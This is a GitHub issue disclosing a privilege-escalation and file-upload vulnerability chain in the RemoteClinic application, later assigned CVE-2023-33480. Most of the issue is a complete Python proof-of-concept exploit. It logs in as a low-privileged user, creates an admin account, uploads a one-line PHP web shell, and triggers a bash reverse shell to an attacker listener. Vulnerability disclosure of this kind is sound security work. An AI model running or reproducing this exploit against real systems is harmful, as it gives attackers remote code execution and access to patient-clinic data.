Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Privilege escalation and arbitrary file upload vulnerability leading to Remote Code Execution #24

Open
n0kovo opened this issue May 6, 2023 · 1 comment

Comments

@n0kovo
Copy link

n0kovo commented May 6, 2023

Vulnerability chain in RemoteClinic application

Vulnerability description

The RemoteClinic application contains a critical vulnerability chain that can be exploited by a remote attacker with low-privileged user credentials to create admin users, escalate privileges, and execute arbitrary code on the target system via a PHP shell. The vulnerabilities are caused by a lack of input validation and access control in the staff/register.php endpoint and the edit-my-profile.php page.

By sending a series of specially crafted requests to the RemoteClinic application, an attacker can create admin users with more privileges than their own, upload a PHP file containing arbitrary code, and execute arbitrary commands via the PHP shell. This can potentially lead to data theft, system disruption, or other malicious activities.

Steps to reproduce / PoC

import requests
from bs4 import BeautifulSoup
from pwn import *
import argparse
from urllib.parse import quote


s = requests.Session()

parser = argparse.ArgumentParser()
parser.add_argument("target_url", help="Target URL")
parser.add_argument("userid", help="Low-privileged user ID")
parser.add_argument("password", help="Low-privileged user password")
parser.add_argument("lhost", help="Local IP for reverse shell")
parser.add_argument("lport", type=int, help="Local port for reverse shell")
args = parser.parse_args()

TARGET_URL = args.target_url
USERID = args.userid
PASSWORD = args.password
LHOST = args.lhost
LPORT = args.lport


def get_csrf_token():
    response = s.get(f"{TARGET_URL}/login/")
    soup = BeautifulSoup(response.text, "html.parser")
    csrf_token = soup.find_all("input", {"name": "extra_key"})[0]["value"]
    return csrf_token


def login(userid, password):
    data = {
        "user_id": userid,
        "password": password,
        "extra_key": get_csrf_token(),
        "submit": "Login",
    }
    response = s.post(f"{TARGET_URL}/login/process.php", data=data)


def create_admin():
    data = {
        "first_name": "n0kovo",
        "last_name": ":)",
        "userid": "n0kovo@cia.gov",
        "passkey": "n0kovo",
        "contact": "0",
        "access_level": "6",
        "status": "active",
        "branch": "13",
        "image": "",
        "submit": "Register",
    }
    response = s.post(f"{TARGET_URL}/staff/register.php", data=data)


def get_reg_id():
    response = s.get(f"{TARGET_URL}/staff/my-profile.php")
    soup = BeautifulSoup(response.text, "html.parser")
    table_rows = soup.find_all("tr")

    for row in table_rows:
        cells = row.find_all("td")
        if cells[0].text == "Registration ID:":
            registration_id = int(cells[1].text)
            return registration_id


def upload_shell():
    payload = f"<?=`$_GET[0]`?>"

    data = {
        "first_name": "n0kovo",
        "last_name": ":)",
        "passkey": "",
        "contact": "0",
        "submit": "Update",
    }

    files = {"image": ("sup.php", payload, "text/php")}

    s.post(
        f"{TARGET_URL}/staff/edit-my-profile.php",
        data=data,
        files=files,
        verify=False,
        proxies={"http": "http://127.0.0.1:8080"},
    )


def execute_cmd(registration_id, command):
    url_encoded_cmd = quote(command, safe="")
    try:
        response = s.get(
            f"{TARGET_URL}/uploads/staff/{registration_id}.php?0={url_encoded_cmd}",
            timeout=2,
        )
        print(response.text)
    except requests.exceptions.ReadTimeout:
        pass


def start_listener(port):
    listener = listen(port)
    return listener


def get_shell(listener):
    connection = listener.wait_for_connection()
    log.success("Connection received! Enjoy your shell :)")
    print()
    connection.interactive()


def exploit():
    log.warn(f"Running exploit against {TARGET_URL}...")
    log.info("Logging in as low-privileged user...")
    login(USERID, PASSWORD)

    log.info("Creating admin user...")
    create_admin()

    log.info("Escalating privileges...")
    s.cookies.clear()
    login("n0kovo@cia.gov", "n0kovo")
    registration_id = get_reg_id()

    log.info("Uploading shell...")
    upload_shell()

    log.info("Starting listener...")
    listener = start_listener(LPORT)

    log.info("Triggering RCE...")
    log.info(f"URL: {TARGET_URL}/uploads/staff/{registration_id}.php")
    execute_cmd(registration_id, f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'")
    get_shell(listener)


if __name__ == "__main__":
    exploit()
@n0kovo
Copy link
Author

n0kovo commented Nov 9, 2023

This issue has been assigned CVE-2023-33480.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant